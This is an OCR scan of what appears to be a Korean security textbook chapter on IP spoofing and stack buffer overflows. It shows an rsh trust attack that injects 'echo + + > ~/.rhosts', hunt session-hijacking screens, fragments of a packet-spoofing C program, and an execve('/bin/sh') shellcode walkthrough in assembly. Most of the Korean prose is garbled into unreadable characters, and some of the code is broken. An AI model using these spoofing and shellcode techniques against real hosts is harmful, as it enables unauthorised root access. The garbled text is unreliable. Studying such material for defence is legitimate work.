A FEE TCP 9o A4 WMEE 4.2BSD ol A= 29 128 THF S7lsta
4.3BSD 9] A%+ %293 128,000 HEH SIS =, 2 g WA b
of W3}alx| %=t} IP Spoofing & o] &3 G2 AL HE= AU
Aol A A7lE EARER Qlete 9 S2EdA Q1T #A glo] <
= HHES ol BT 9FY EAE AdA UFe SAE B R

17 4e A s

ol

olt}. ks, IP Spoofing S Al =3dh= A IpA | oA x.target.com
x.hacker.com(x.victim.com < 7}&3)e] rsh &340 s H<
x.victim.com .2 3}/ ¥ 22 xtarget.com <-> x.victim.com 72| to]E]
XA FAU A st EAE W] Wit ol T

EAZ, TAUMEE 3 sync & ack & T W o)A dE HMSE
5 7oAl AA Aotk AR TCP AA9] qfoks Y 29

25,000 H¥ =M WSS F7MA7IES Hofdh shAIRE &g A Al A

TGAA N FFe Far dojd Aojrh. 1g 7] wiiEe] 16 1A
W3t eE A7 A o] IP-Spoofing & 7Hs3kAl a5+ A7t =l
g A sy sk ARlstHA]l 2424 2= IP-Spoofing o tidlA] b

IP Spoofing & oW W o7 S 7HeatA &7122? A7 A= A
2 MZE Ue #Ages Aotk &, offd dAf §lo] 1 EAER &
o]z 4 gt Holth 1Y TAEE AFAARE wEed ojgA ok

g7k vt= F vHEge] rhosts UdS A T "rh2v)e] A=
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F A +E YEnd BE QS AT ot ++¥a Yol
RE SAES BE IDE A "k Al Agel sfof & o, &
G ol AHAAL] TAES F= Aotk vt FAF & 5A
E7F AFehs AFE7F sivw 921 IP-Spoofing & & 427} fitt. Al
g BAl U= T2EE F53FE 2L finger HHOE 11 T AE T
8 ol root = AEel 9l hobraL whel mgnhd IAle AlE

Al gletar o<
©l-S W 31, rpeinfo & %3
o] B7Fs vkd W A e IP FA4E shusid A HowA ¥

Ad He WRE v =Y FAR F5ce W E e

/ete/hosts.equiv ¥+l x.victim.com & 55344 rsh A H| A& o] &
T AAE 3t} dFA ukx.target.com 2] /etc/hosts.equiv Lol F= 5]
o] 9lA] €& xhacker.com TAEQ root PIE ZtuE A= AR
x.target.com &2~Eo| At 3123 u] ojWl WP S o] g3 Al

WA, x.hacker.com &=E9| A= FAU/FQ] x.target.com © rsh <&
S fal 7S Hdu) Source IP Address ©f sidsts FES 1A

x.victim.com S ZH-E ¥ Tl A e £
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x.target.com 4—§lN x.victim.com

Source IP=x.victim.com

x.hacker.com

a8 7-31P Spoofing 28 1

o] ¥j#l& WS xtarget.com T AEE HA3] T
SYN/ACK #%1 & x.victim.com o 7l HUAEt Aoz o]

x.victim.com < rsh AH|A~E QA= o

&
P
o
fz
Y
2
o
=2
oo
o

SYN/ACK

x.target.com| —>=»[  floding >|x.victim.com

x.hacker.com

8 7-4 1P Spoofing 28| 2

kA wk o] Ao 9lo] A x.hacker.com ¢ 37+ SYN flooding & ©]-&
3] Z7bE <t xvictimecom o U ELS R 2RE A 4 9t

138 3 xtarget.com ©] 233t ACK #|7 S B O &M xtarget.com 7
x.victim.com < 7}43%F xhacker.com &A~EZ7Fe] rsh H4o] o] Fojd 4=

A At
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YEHEO Al ShgXtRE

network SH3!

x.target.com| +— x.victim.com
ACK

Source IP=x.victim.com

x.hacker.com

38 7-51P Spoofing 28 3

o, % rsh ¥ 72 R-command £ EF1S 2 echo"+ +" >
~/.rhosts ¢} 22 7t sfZIThS xtarget.com ©] HUlAl & Aot
AA 2, o]d 9sks 428)3}= IP Spoofer &= SIE|Yl oA =44 +a

=
% 91oB R IPSpoofing FACEYE WAE A% AME obe)el

IP Spoofing 2| & 31H
-+ IP Spoofing & ©] &3 14 #go|t}.
A et SetolAdES] AHHFH 27t =T o] AFHES AFA w0
t}. = rsh 9 rlogin 5 r*W{ o] ARgo] 7hE8lthE Zolth rsh 9} rlogin
= Z 2adud gus dEYA dHolds SR Es i) o
dgAE SeelAdES] AZAE DoS AR wHA7|IL TP & &4 A
Hol| A4S Aot 18 M= TCP ZEEZO QT A o)
SYN/ACK & HUl=t] ol A= o8] ¥ o+ o] JFES Z A
kil Bt o]

of\

rl
et
N

o= A5eA st e

Y
o

aogog A
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38 7-6 IP Spoofing 4& 2tH

o AH A9l FEfolJAEB = AR Al Aot d7] C v SHoldE

B E DoS 324 o= wmiH| AJZIT,

e 17]a A CE A Ao AZAS 23t SYN S F=3517] A4S

FEolAEdA 2 A & &

So=2 ISN# ddAg o] H3E F8) Aol Htshe

248 1 HEE gjolA B7F Buiof st WeE F530h
E

Aot a8

thH ISN ¥ dEHTE ojwl 2o oafjx] HMEst= AA72?2ISN o

thafj 4] thA] A EkAE Initial Sequence Number 2] 9FA} 2 %]
o]AE7} AWM HUE SYN S ISN o|2tal gt}

woll ==t
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o8 olREE Gt Algke] HlFs|M v = Aol gtk Hx9

ddis s s2E7F HY H30S i 12 27]sbdnh a8al ISN 2 %

ER olfoAnR

0~(4,294,967,296)7H4 M <17k AA gl Slejok. a8 A% S7tsd
9 AIZF 3230l HWA ISN o] vl & wpF] =7 v e]a o] of
FoIAH 64,0004 S7FeHA € theo=, HAE WS wYuirh S}
A7 A el Stk o] WA Al F58717F AI W e RA] AE

WS- wlult} 64,000 A Z7FAIZITE 1 AW o}

3 128,000 ¥ S7}3H} TCP dEH S += 32 1]

o~

= AES A ¢

o= Aol B9 dolert v & Aow
Aefs] M AA At dots dEHSHT 2 wole wRele] Byl @
g7 SYN ghsol A&, ateakd] A= s=d vl & e
= Ads) 2 Skl k= ghol & W7k d]shAl vk

dot=

:
e
e
(L
fofs
fT
kv
S
filo

ol o= 7}53 WME wEo| IP-Spoofing ©] 7}sdl A& Aoltl. = B
& WEFA st AolA B7F BEUlEa Y WMEE F5A EUHA C

aL
F B9 AR £9 e ROl

o] 4l IP Spoofing &zl ZL3 ASo] e LolRE= d KA IP-
Spoofing & &}7] YA = e 27| Ha st

181



rir
o
[>
[m
1o
2
itk
e
X
=2
0]
rr
foi
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THAE TEE(BF #52 system S AMESHH E Aok, root A ©
ojof g},

@ IP - Spoofing software

A o2 FAZ w= FH AESE S AEO| A root ofof ghrh A
d T2AE9] root & F45k= Aol7] witolal, T raw socket ~Z 1
&

W= oted root o WRto. R FHuldstal dasfor 57| wiitolth

AN
o M= AFAAN e T2EV Bl HReE da AR AA 3l
© HIFEYl SYN/ACK & HuUlA #t} olwf A#A e E2E

Aol S-e)7} Aol Az A 9l P F
=8 SYN 3 AuolN] Holzr BHelst Hof gl

E49, 00 = null EApo|th 5, bR e ofyeh= wolth 121, 65

+ A oJth.
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ZA] ascii wARE EEI Juhd v Teagos doln A}

int main ()
int i;

for (I=0;1<256;i++) printf ("%c",1);

L A "R Ao & LS &3} 7t} <null>client user
name<null>sever user name<null>El V| Y 5 /<& S <null>. 97]4 <null>

AL ste of~y] EAE thEd

% AW et 2ol sk e

00root00root00vt100/2880000

5 &2 rlogin negotiation 21 ]t}

5555ss50025008000000000

Ua &2 WE5o] gkqlolth

N

echo '+ +' | ~/.rhostsl0

to
W)
£
P
o
f
=
A
(i,
A
©,
An)
i)
kI

10 2 &2olA BT 10 o] U

00root00root00vt100/2880000
5555ss0025008000000000

echo "+ +' | ~/.rhostsl0
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F7hA Folslo & A Fo] AFshe o] ul Fike] Hojzkw < H

g Aol

7.3. IP Spoofing 2 0[E%t 34 78 A oA
7.3.1. hunt £ 0|&¢l IP Spoofing

® 141.223.163.40 1A F user 7} A& Uiz}t 3Far Qv

= ohhara

File Edit Options Send Heceive Window Help

g =1 |
23| 712 | =9]a%l =
Istarting hunt

——— Main Menu ——- rcupkt 0, free~alloc pkt 63-64 —-————-
l-wrr) listruatch-reset conmections

host up tests

arp-.simple hijack (avoids ack storm if arp used)

sinple hi jack

daemons rst-arp-sniff-mac

options

exit

.223.124.30 [262621
.223.124.30 [262711]

.223.113.199 [13581
.223.113.199 [13601]
.223.113.199 [10621]

conn> 1
ump connection ysmn [nl> y
ump [slrc-ld1lst-[bloth [bl> s

38 7-7 hunt & 0|83} IP Spoofing 2HH 1

® AA| hunt & ©]-&3) 141.223.163.30 ® 141.223.163.40 = hijack 3} 1L

H]

M
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= ohhara

ile Edit Options Send BReceive Window Help

m
o

guest (£4) u.s. ohhara (25}2H)

J3 7-8 hunt & 0|&%t IP Spoofing 2HH 2

® 141.223.163.30->141.223.163.40 & A A guest 7} AF-&3FaL Aot

= ohhara

File Edit Options Send Receive Window Help

38 7-9 hunt & O[&%t IP Spoofing &tH 3

® guest = ©]+%1°] connection ©] Eo] It}
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File Edit Options Send Receive Window Help

23| |2 | 9|a%2

w-r) listruwatchsreset conmections
host up tests
arp-ssimple hijack (avoids ack storm if arp used)
sinple hi jack
daemons rstsarp-ssniff-mac
options
exit

141.223.124.30 [2b262] 141.223.
141.223.124.30 [2b2711] 141.223.
141.223.113.199 [13581 141.223.
141.223.113.199 [13601] 141.223.
141.223.113.199 [10621 141.223.

-hoose conn> 1
ump connection ysn I[nl> y
ump [slrcsldlsts[bhloth [h1> s

2

- press any key>
Enter the command string you wish executed or [crl> L FZE BlEL?J

@ I [aMs1 [ TCPAP [00:42 | ooool|

J3 7-10 hunt & 0| &%t IP Spoofing &HH 4
® ohhara = guest 7} ©]/3t &S st Ao= =7t

Options  Send Receive Window Help

ffffffffff -- guest (£%) v.s. ohhara B

5

@[ [ [ [ansi[TCRAP [00:43 [ooool]

38 7-11 hunt € O[&¢l IP Spoofing 2HH 5
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7.3.2. IP Spoofing 2=22| &4

IP =

flo

o

o

o] ~2E BA3E Fo|t,

uh

[Z233 7.1] IPSpoofing.c

hose conn(trust host, trust addr, seqg num, port num)

{

/* sendtcppacket (
struct ether addr source hardware addr.
struct ehter addr dest hardware addr.
u long source ip addr.
u long dest ip addr.
u_short source port.
u_short dest port.
u_long sequence no.
u_long acknowledge no.
int flags (SYN, RST, ACK, PUSH, FIN)
char * data
int strlen(data)
*/
sendtcppacket (& (eh.ether shost), &(eh.ether dhost), bad addr,
trust addr, port num[i], 513,

seq num, 0, TM SYN, NULL, O);
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>

=

det seqg(targ host, targ addr, next seq, offset)

{

S~
*
N
i)
od
filo
fo
-
=)
e
H
PO
lo
rN
ofy
*
~

sendtcppacket (& (eh.ether shost), &(eh.ether dhost),
my addr, targ addr, start port, 514,
start seq, 0, TM SYN, NULL, O);
/* readpacket (
struct fddi header fddi header
struct ether header ether header
struct ip ip header
struct udphdr udp header
struct tcphdr tcp header
char * data
int strlen(data) )
*/
while (readpacket (NULL, &eh2, &iph, NULL, &tcph, NULL, NULL)

!= PTYPE IP TCP) ;

if (ntohs (tcph.th dport)==start port

&&ntohs (tcph.th sport)==514) {

/* ZEWHS 7} WThH reply HH OS2 153} guessing

tlo
=
2
o
iu
*
S~
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=

>

=13
El

HEHOE ALZ

usleep (5000) ;
/* guess 3 A|FAHIT o ZH ack I

& (eh.ether dhost),

sendtcppacket (& (eh.ether shost),
trust addr, targ addr, port, 514, seq,
++next seq, TM ACK, NULL, O0);

*/

ofy

wiol A

/* rsh request & Al E S} AcKk W&o

& (eh.ether dhost),

sendtcppacket (& (eh.ether shost),

targ _addr, port, 514, segq,

trust addr,
stringlen) ;

next seq, TM ACK, string,

segt=stringlen;

7ol ack Hel AHH7E ZIGHYUY +/

/e A%R

sleep (1) ;

/x ARg AAENT BEo] FINAREL AE *+/

& (eh.ether dhost),

sendtcppacket (& (eh.ether shost),
targ_addr, port, 514, seq,

trust addr,
TM FIN, NULL, O0);

next seq,
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/* A spoofing 3t AUHL A2}, ojwfjdl= T}S A|A~AHEE

spoof conn(trust addr, argv[2], targ addr, next seq);
/* BE AYHE reset. */

reset trusted(argv([l], trust addr, seq num, port num);

exit (0);

7.4. IP Spoofing 2 0O[&% si{Zoll cli&t o=y

7.4.1.

Router oA source routing = 5| 3stA| 2= ¥

Ho

ol & A5H A%l IP Spoofing & IP T4 T 2EOFS 7|Hto R

@ QAFUAE ANE BARYS At AgoR AgH BE

o, IP =21} SaEo] Gl oEaAS e AHY AH=ES o] 8dhs
Ao ZEt}. o2 S0}, R-command 9 22 7% IP Spoofing o thal £
I o] AWk ssh(Secure Shell) Y S/Key 59 &+53t ET8 F7l= o] &

3 Ao AL daslE HH7A A s or st2Z IP Spoofing &4 <
gy e olgd & g k.

BERL LAN 9ol A e-HE AH S0l dfzle] viA] i £ 2EQ]
G IP FaE S oS A5 2y dlolA e Wil Y ow
52 Y& o Atk THE fFolA WF IP F4AE Zts wFle] F9

= o7k A3 171 wiitell, ol= IP Spoofing s A Y& ERA & & 9l
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7.4.2.

IP spoofing &7 SYN &2 3 #-> “Denial of Service' &7 Ho] o]
AF&-E 22 Denial of Service 3745 "= Z©] 2 IPspoofing 345 =

= ol drheEE= ol AN vhadt 22 s ATfg

i)

7 BE Yol sd BEE AHgate] SRA YRR Bolet A3
F el P F2% 747 Ag PAw

23} 2,

olgg 7]%eo] 7HAaL Sl 2k

it
rlr
K}

® Bay Networks/Wellfleet routers, version 5 and later

® C(Cabletron - LAN Secure

® Cisco - RIS software all releases of version 9.21 and later

® Livingston - all versions

S, 2 BEY s b eeEe AAsky, deE 49l
St et 298 <k A= Al=vloA 9 IP spoofing &2 HA] %

3k,
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7.5. &1 X7

® % AKX HS7|%E http://www.ezsecurity.co.kr

o yaFydgn Y Hob A3 http://www.plus.or.kr/

® Progressive Web Group COOL4U http://www.coolqu.co.kr/

® 3o H B SRS http://www.certce.or.kr/

® GNU HACKER http://gnuhacker.com/
® Robert Graham http://www.robertgraham.com/pubs/sniffing-

faq.html/#detect

® 3|7 2= http://www.hackerschool.org/

® Hr¥ A el o} http://www.superuser.co.kr/
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8. Buffer Overflow

8.1. Buffer Overflow & 0[&%t sliZ9l 72

8.1.1.

whl ofeigoe] mzuewg Hual BEolehy buffer /b o191 %
obx AN Azl BUh wutAolA BEAE BES o8] wo

ZFA3]) A S FAct. =2t buffer 28 Z 2 $(overflow) @ ol

o

FU

7}?

ol k¥l buffer ] I7|H T ] 2 Zo]2 Ho]EE buffer o] 7|53 024
buffer o] SHAIE HoAE d4S Lol UiF-29 C/C++
Implementation ©] A & 2] 74 A 73 AH(Boundary Check) & sh#| o} &
At Aol

Buffer Overflow = CGI, 7} Server, Daemon, System Program,
Application Program 5% %2 &/F7F Victim 2 4 lorm= AlHo] gl
i+ Hostoll AlIGS w50 Eo7l= WHo 2 o 71 falshs e 9
WAook, ARESE7] ol HaL AJgto] o] EX|Wk dwk ¢k Hacker ol Al

=AY B S PelnR JE o2 slgelor duk A2

Buffer 2| 0|3
Buffer & 7Fohs] 23] AdF9] QA 7AZAAE walt)h, A e w2 =i
2, HDD ¢} CD-ROM Eg}o]H e} zro] AFE o F7)9 Ax|9} FHA

A Apolol A HolE &

=
HE
tlo
£
2
ofx
i)
rir
dp
k1
N
o
o
>
~
N
o
il
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HEEot ALE SRR
A AAHE ARG AAY 5+ Q=S nokE 1% Q)
=3 aeia=4
z, dole e Ae&mit A, volE AHgAZte] AT ThE ¥ 3

A L2 Alolo A HolHE Fawy] 9% BHoz AEHE A
NP gai buffer 7F AHEHY FRANGAE 92 ARF /0D 2D
2 glo] el 29 WHe YA & 9 fek
buffer &= ®%791 427} ALale AFe) Wrea A7 & 9ey
SE RAM 3 wlol2i ZRANZ A% AET F A AU A
wol 2a¥7 frh Webd mz)
58 ¥

le) =
T &

buffer = =

3

7% g
kil

t}.
buffer ol = Stack ¥} Heap ©] F 7}4 FF7F Atk 298 A|F5-E buffer
A GolR =S ST

¢} stack ©l|

8.1.2. Stack
C 7} Procedure Calling(Function Calling)©] 7}s 3+ language ©| 7|
= 7

Stack =

g Zo THEo]Z o0& Program ¢ 473 5 Function Call ©] <

Stack ol M 2<% Function 9| 4] A& ¥ o] Local Variable, Parameter
%S 7d-%, Return & Instruction Pointer Value &

Variable, Function ¢] &%
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] %}3F+= Return Address 52 Push 34 ¥t} ©] ¥ Function ©]
749 9o =2 Pop 3l Return &4 & Aol

53] Stack < FILO(First In Last Out) 7~z 2} 3h=d], & &3t A 9]
H

wpA R e ThE Eolth o] o] R el E o] s)ate]
Z]

Ae A& 5 Utk stack ol @ vl o]@ o] Holy F2E /A
Ak A AG Solzt HolE st A Wl 9k, 1 BE Sojzh
dole 7} 2 glel $1x18h7] ek,

=

= gag

.

I FEe ok a2y o] Hof o, Aa AAFEo] 3]

o]
stack pointer 2} F2% ¥QIE X 2~E]7} A s gtk o] stack EQ

14

1

B WiolAgt Alg% a3, WE o2 read/write & F gl EAS

N

Jm

i Sl
stack ] %9} Content & Architecture #}t} & =z}o]7} 9l o) 7] E &
olgie} e S wrEA H ot

Stack Pointer Value

Local Variable

Parameter

Return Address

Frame Pointer Value
obdl e BE & 4 215%0] stack ol HlolE7} Sojes HW A34A
I ol Hrh ol WMHiE 1 dolHES AUl A5 AdE B
55 S5 4 A mpA ] Hoizk Hold, Z AU 9% gl )

olHE ZAulofrt 1 offol Sl HolHE 7 5 JA "k
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push pop

top

stack model: push and pop

a3 8-1 stack o|A 2| push, pop

aejar a1 HolHE Aot 1 okgdl Sl HlolHE A ¢ S
A As 5okt HiolHE AW fsiM = vwol St diolH
o BF AW Hll, 24 Ad v o m A5l 5ol HolHE

AW 5 gl Rolth thee 7k HolE 9 A mEolt,

.
=
2,

]

[Z23% 8.1] push.c

void push () {
if (int limit > int top) {
int top++;
stack[top]=data
}
else {

overflow() ;

o] 714 overflow & {2t oot} 2248 &5 stack ©] ‘A A
W2 T3P geHA{UY. Agdyrt vMEgEdds & ol
stack & 22=H], 21 2A= A 35T W), 2ol A MFEES
stack ol A3 F=3kth, AW Sk 2HA AFSES Bl ke TR
O39S R AEHE AadS A ARY stack overflow 2= ol g HIAIA]E

198



8.1.3.

MEEO A SRR

2 g e Aol A o] = pop Bhe FE ol AL Pop 2 A H

[Z233 8.2] pop.c

void pop () {

if (int top>0)

{

print stack[int top];
top---;

}

else {

underflow () ;

}

o] 7] A underflow &, stack o] o} FAE =4 =522
WA S o efoltt. A} stack o] t3fA] FeE] YolR kT the o=
Heap ©l thaliA YolR == 3 HXAL

Heap
Heap & A=HojdA] &2 302 Gx ofdr AREH o] AA®E =
= AHE 7PgH ez EA45=(Allocation F A ¢F&) ko] Th
Uninitialized Data Region & 2% E2]3l ¢l Heap & 21 3 F
malloc 5 2] System Call & Allocation o] A}-&% 0] % t}7} free System
Call & Free H= 5 AGAAZ A} 8715 oJ o),
53] Heap < FIFO(First In First Out)7-22} 3l=d]. thA] Ll AHS &

L

o7k Flo] Aol etk Eolt), o] ol B WelAE ols)aw

&

il

ox

)

ol
2

i
o
K=
o,
[&l
o
o
K
1
oA
o
mm
2
o

oF oo O]

)

== [ R=
€§E1AAL

o
H
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8.2. Buffer Overflow 2| ¢8A

Process 7} At-&3F= W= 2] < 9 (Process Address Space)> A= th&
Process | G WA @il T4 &7] flsiA Aol =3 4Giga Byte
©] Address Space & =#} Abg-Sbe= gk A Zbo| WA L=E WH=1= Virtual
Address #}i= W48 A}8-3Ht} Logical address Z Physical address =
Translate 3o AF-8-3F= FEjo]t}. o] Address Space © Binary &
implement 3}+= Language ¢} Compiler o wehA] th2 7] A8 =0 dqt
2 o7 AF&-3}= C Compiler 7} A48 Binary & oot 22 e 2
Process 2] Memory 1722 Al 3t}

0X0000

Text

Data

Heap

Stack

oxFFFF
Text = X 21310 HAgla & 4= )+ Instruction Code 52| 33}
Read-Only Data 52 ©3L $t}. webA], Program ©] Text & o] 1
2y 99 HHste] 715E& sk $ i Bus Error Y Segmentation

Fault 7} dofuba] Z2a3o] TR E )
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zRagu o] A52 QW EZ S (overflow) 7} ASte] ZZIdo] Thy-
HAct st 8 A= qich A AA 7| HYyzks. e, SHE
2-5(Overflow) 349 AL ZRE 52 24 AFEAF glo] ¢
oje] At F50] sbesta A AHAY AEE ol 2HALE &8 U}

ok =944 7E ¢ U= F8lo] B2 exploit Z=7F EA4 dh=d Atk

Overflow H Overflow =

,Lbit,{ 32 bit

buffer }16 bytes bt fr |16 bytes
sfp 4 bytes 4 bytes
r ret 4 bytes r ret 4 bytes
To main EEE

8| 8-2 buffer overflow

8.2.1. Stack Overflow 2| &AM

Stack & Function ©] Call @ W Push ®©t}ar A1t} o] u, Function
o] ¥util thA] o] EFo® Fobd AES 9EA Return Address &
AdsHAl H=l o] s AHrolA tE 318 Code & A A = 3l
 Set-User ID 7} &2 Z 2= Hs &I L2135 Root 9
Permission &2 A &3}74 ¥ &= F o]t} Function ©] sty &% wjwlt}
Element 7} Stack ol tal| %] a2 wj=] A ¥t} Buffer Overflow & Th&3 2

< AR JAPgETGaa GARE derl] A F2l o5 31 dlolH
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8.2.2,

8.3. Buffer Overflow &

8.3.1.

Ho
ii
B
ki
iy
ot
o
N

G 2= v e ojdr)

npA] o 2 g TAlo = ret o] AYA|7|IL A Z=T)F YASIA = F
5 M 4t} Stack Overflow & A F 2 @Al A A3A] 7)1 Ae =

o setuid e, AAAT A == PR 4L P L=E A
dgoms FE A% 4L 9L 5 Agste 2=g 4 =

Heap Overflow 2| $gA

Heap < 58 application © 2]3] &% 2
o W27} application o 2]3)] st

Al 22l o A = kernel level o 4] o F-1-2
= Aad & o 7|3t A stack &
yeldthwl Heap & H3sl5E 2238 Yol &2 Aejolt}. of
¥AQl Stack H& X213 %0

© 2 StackGuard 7} Z1Hre]] Solaris &

© 2 protect_stack ©] )

Stack Overflow 2| o x|

Function ©] Call & 49 o® 4& S|4 Stack o] =7
Assembly Code & &34 A Bt} ofefje} 2+ CProgram ©| ATHiL

gt u], o]= Compile 3}3L Disassemble &+ Code & U233} 7t}

<C Code>

void function (int a, int b, int c) {

202



char bufferl[5];
char buffer2[10];
}

void main () {
function (1,2, 3);

}

<Assemble Code>
<main>

pushl $3

pushl $2

pushl $1

call function

<function>
pushl %ebp
movl %esp, $ebp

subl $20, $esp

MEH ALE

=13
=1

o] & 1o A= argument = Push &} Stack Pointer 412 Frame

Pointer 4t°l Move 3}21 Stack Pointer L=

X290l o}o]t]o]¢l Return Address ¢ #<

s

ol

buffer2 buffer1

sfp

ret

c b

AR

7§ 218k}, Stack Overflow 2] 7]
NG A vp=A o A A
=% 37tk -4, Stack o] T2E b2 o] xS,
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ret & Return Address & YE} L, SFP = Stack Frame Pointer & UE}Y
Ytk o] AEjoA] o] Stack & S EW Fol stack & 5 AI7]HA
Ret £k © = Instruction Pointer & %714 ¥t oA, Ret k& v W
HS A7Fs) | ATk Ret a6 User 7F 214 4191 Access 7} E7Hs 3t 2 =
User 7} 7158 5 A= G9FE @S 7157k 2lo] Aol
Tk, kol 7152 A2 3k Address F-H 2 #ko] Address o A= 7]
Z5 g o 719 Address ¢! Local Variable ¢ 9o kS =% Stack
of Ao 3= drt ¥ @ol foj¥olA Local Variable o] &7 %k
= RS ¥aL, A= o]zlo] SFP ¢ Return Address ¢ ¢t W31/
o] 7}s3hAl ¥ A2 C <2 Implementation = ©ll A]

m
H
Stack 2] Al-8-% <ol W&+ Bound Checking ©] A2 F& = o] U] o}

olHA 3BA] oAl User 52 Program oA 3+ 3t7F 2 o, O &
Aol F=PAoR Jump T T AE TS A HATHEFA, @I
Ao megddor Jump Frhil FAZ Yol HAE & oA

$18 % 2l Code 2} 3thH, Root @3te] & 1300] Shell & Root & A
sto g T Aol didd Heolth &8, 1 9o 3dS s
A RS AojattEHA] = o] Code 7} 9EAL U

Hacker o 7l 7} &3 Tool & A Folo]=%] Asst 4= )+ Shell

%0,
o

UNIX ol 4] = exec ©|2t= 3= File §HlZ A% Binary & Memory
o Load 3}, 7|2 Memory ©| =43} Code 52 % Clear 3
AE 7S AHEE = Utk 9] exec > System Call 2 2 8 sl= FE-2
Assembly 1o]2 A= E o] ¢t & v AEs] hdsih. whelbA,

Hacker == Shell ¢] Code € Implementation 5}7] . Th= exec 3= Shell
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filo
1
Og\:‘l‘
>

1715 Aol ¥ 4L Aolt}. 18t} exec &= Shell S 23
F 1S Assembly Code & ¥ollE A S Ay w o
A 7+d3] exec 2% Shell & Execute A7)+ H8S C2 Aal IAS

Assemble 3 = 7t}

#include <stdio.h>
void main () {

char *name[2];

name[0] = "/bin/sh";
name[1l] = NULL;
execve (name[0], name, NULL) ;

}

olg g TEIWY gee?S = FHL Fo| Compile S A =W th-S3}

78 Assembly Code S 4S 4 Ut}

.file "test.c"
.version "01.01"
gcc2 compiled.:
.section .rodata
.LCO:

.string "/bin/sh"
.text

.align 4

.globl main

.type main, @function

main:
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>

=

pushl %ebp

movl %esp, $ebp
subl $8, %esp

movl $.LCO, -8 (%ebp)
movl $0,-4 (%ebp)
pushl $0

leal -8 (%ebp), %eax
pushl %eax

movl -8 (%ebp), %eax
pushl %eax

call execve

MAEE BH execve & Call 3}/ T =4, o]Z ] v}= System Call
2+ Library Routine ©]th. 3 Aol o} 54 glo] Hutdat/

Ht}H, Shared Library 3 Bl 2 Compile ] =2 Library ] Code &

o] ol
)_:’1_

o
=

Executable Binary ol 32 3A]7]&= ®W2Q1 Static Compile & 3 %
Disassemble 3} 7] ¥ ™, Exploit & ¢+ Execve ¢] Assemble Code 7} 4343
¥t} GDB & Disassemble 3+ Execve ¢] Code ©]T}.

(gdb) disassemble  execve

Dump of assembler code for function _ execve:
0x80002bc < execve>: pushl %ebp

0x80002bd < execve+l>: movl %esp, %ebp
0x80002bf < execve+3>: pushl %ebx

0x80002c0 < execvet4>: movl $0xb, %eax
0x80002c5 < execve+9>: movl 0x8 (%ebp), sebx
0x80002c8 < execve+l2>: movl Oxc (%ebp), $ecx

0x80002cb < execve+l5>: movl 0x10 (%ebp), sedx
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0x80002ce < execve+l18>: int $0x80

0x80002d0 < execve+20>: movl %eax, %edx
0x80002d2 < execve+22>: testl %edx, %edx
0x80002d4 < execvet+24>: jnl 0x80002e6 < execve+42>
0x80002d6 < execvet+26>: negl %edx

0x80002d8 < execve+28>: pushl %edx

0x80002d9 < execve+29>: call 0x8001a34

<_ normal errno location>

0x80002de < execvet+34>: popl %edx

0x80002df < execve+35>: movl 3%edx, (%eax)
0x80002el < execvet37>: movl SOxXffffffff,Yeax
0x80002e6 < execvet+42>: popl S%ebx

0x80002e7 < execve+43>: movl %ebp, sesp
0x80002e9 < execve+45>: popl S%ebp

0x80002ea < execvetd6>: ret

0x80002eb < execve+47>: nop

End of assembler dump.

°] ZE%E Binary FE|Z v $-o o] Z-& Local Variable ¢ <ol 44

I 5™ System Program <:°l Shell ¢] Code 7} A9 A Ht}.

ol

ojA] wiA|Eto. = Shell o] FH 2 Jump st F27F Baghd], 1 F
g oEA ekl el dH e

buffer2 buffer1 sfp ret ¢ b a

o] 2] 3k 992 Exploit 3|4 Crack & 3tha s, ofefle} e o=

Exploit Code & W=+ RS A7 4= o

o
o
o

buffer2 buffer1 sfp ret
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JJSSSSSSSSCCSSSSSSSSSSSSS

$19} 2L Structure  ZHi= Egg(Bulletin Code)E buffer2 o] ¢ ]l <
A Fhd ret 9 addr & %2 Buffer2 ¢ J 91X & Jump &4 ¥ aL, o}

< W Instruction ! Jump & G333}, o] J(ump)ol A C(all)F-= 2

A8

Jump 3}A 5 3L S(hell) Code F-2 2% Call & 3}A ¥t} o] Call &
Indexed Address W] 02 3l ¢ Call & 3T 4= Ut}
1k 2ol J,C Y WHE A8k A2 Indexed Address & ©] &304
execve 2] Argument ¢! /bin/sh S Jg3s}7] fskeld], o T

Structure ¢] Assembly Code S ©]-&-3fA] A 3s}At},

<Source Code>

void main () {

jmp Ox2a # 3 bytes

popl %esi # 1 byte

movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7 (%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb, %eax # 5 bytes

movl %esi, %ebx # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes
leal 0Oxc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes

movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes

int $0x80 # 2 bytes

call -0x2f # 5 bytes

.string \"/bin/sh\" # 8 bytes
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<Compile Code>

0x8000130

0x8000131

0x8000133

0x8000135

0x8000136

0x8000139

0x800013d

0x800013d

0x8000144

0x8000149

0x800014b

0x800014e

0x8000151

0x8000153

0x8000158

0x800015d

0x800015f

0x8000164

0x8000165

0x8000168

0x8000169

0x800016b

<main>:

<main+1>:

<main+3>:

<main+5>:

<main+6>:

<main+9>:

<main+13>:

<main+13>:

<main+20>:

<main+25>:

<main+27>:

<main+30>:

<main+33>:

<main+35>:

<main+40>:

<main+45>:

<main+47>:

<main+52>:

<main+53>:

<main+56>:

<main+57>:

<main+59>:

pushl %ebp

movl %esp, $ebp

Jmp 0x800015f <main+47>
popl S%Sesi

movl %esi, 0x8 (%esi)
movb $0x0,0x7 (%esi)
movl $0x0,0xc (%esi)
movl $0x0,0xc (%esi)
movl $0xb, $eax
movl %esi, $ebx
leal 0x8 (%esi), %ecx
leal Oxc (%esi), %edx

int $0x80

movl $0x1,%eax

movl $0x0, $ebx

int $0x80

call 0x8000135 <main+5>
das

boundl 0Ox6e (%ecx), Sebp
das

jae 0x80001d3 < new exitfn+55>

addb %cl, 0x55c35dec (%ecx)

209



MEBOH ALF SRR

8.3.2.

o] 714 Call & AH&-¢ A& & 9m% Qdth /bin/sh o] 2} String ©]
o= Ao Y=HHAA 2= FSo]m =R /bin/sh o]gh= String S Call
ool FA =W ret o] A7} 7he]7]E o] String o YA 7F "k w)
24, movl ol A AF8-E Address & ¢34 popl & ©]&3lA Return
Address & FolHlal 2AS ©]834] execve © Argument = =3t/
ot

olelst W] o 2 Buffer Overflow 7} 7153k €t}
Buffer overflow &= 9]ollA] H o] A3 Hitsk Jeje] Egg et Code 7+
Z Q3}al, o] Egg & OS, Environment, Architecture o] 433 717+3}l7]

u 5ol 433} Victim Program o] SHA| Zuwjziw] =3 o] & Q&) whet

, TF& Hacking Technique 2.t} d4 119 7]%&o] & QskA|vE, 14t
